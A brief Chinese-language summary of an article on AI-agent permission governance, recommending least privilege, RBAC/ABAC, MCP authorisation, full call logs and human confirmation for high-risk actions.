文章探讨AI智能体从对话工具转向自主执行操作带来的权限治理挑战，提出给权限最小化、看权限可观测、追权限可定责三大路径，建议采用RBAC/ABAC模型、FunctionCalling/MCP授权机制，记录完整调用日志，对高风险操作设置人工确认节点，实现权限清晰、操作可见、责任可追。
10-16
评论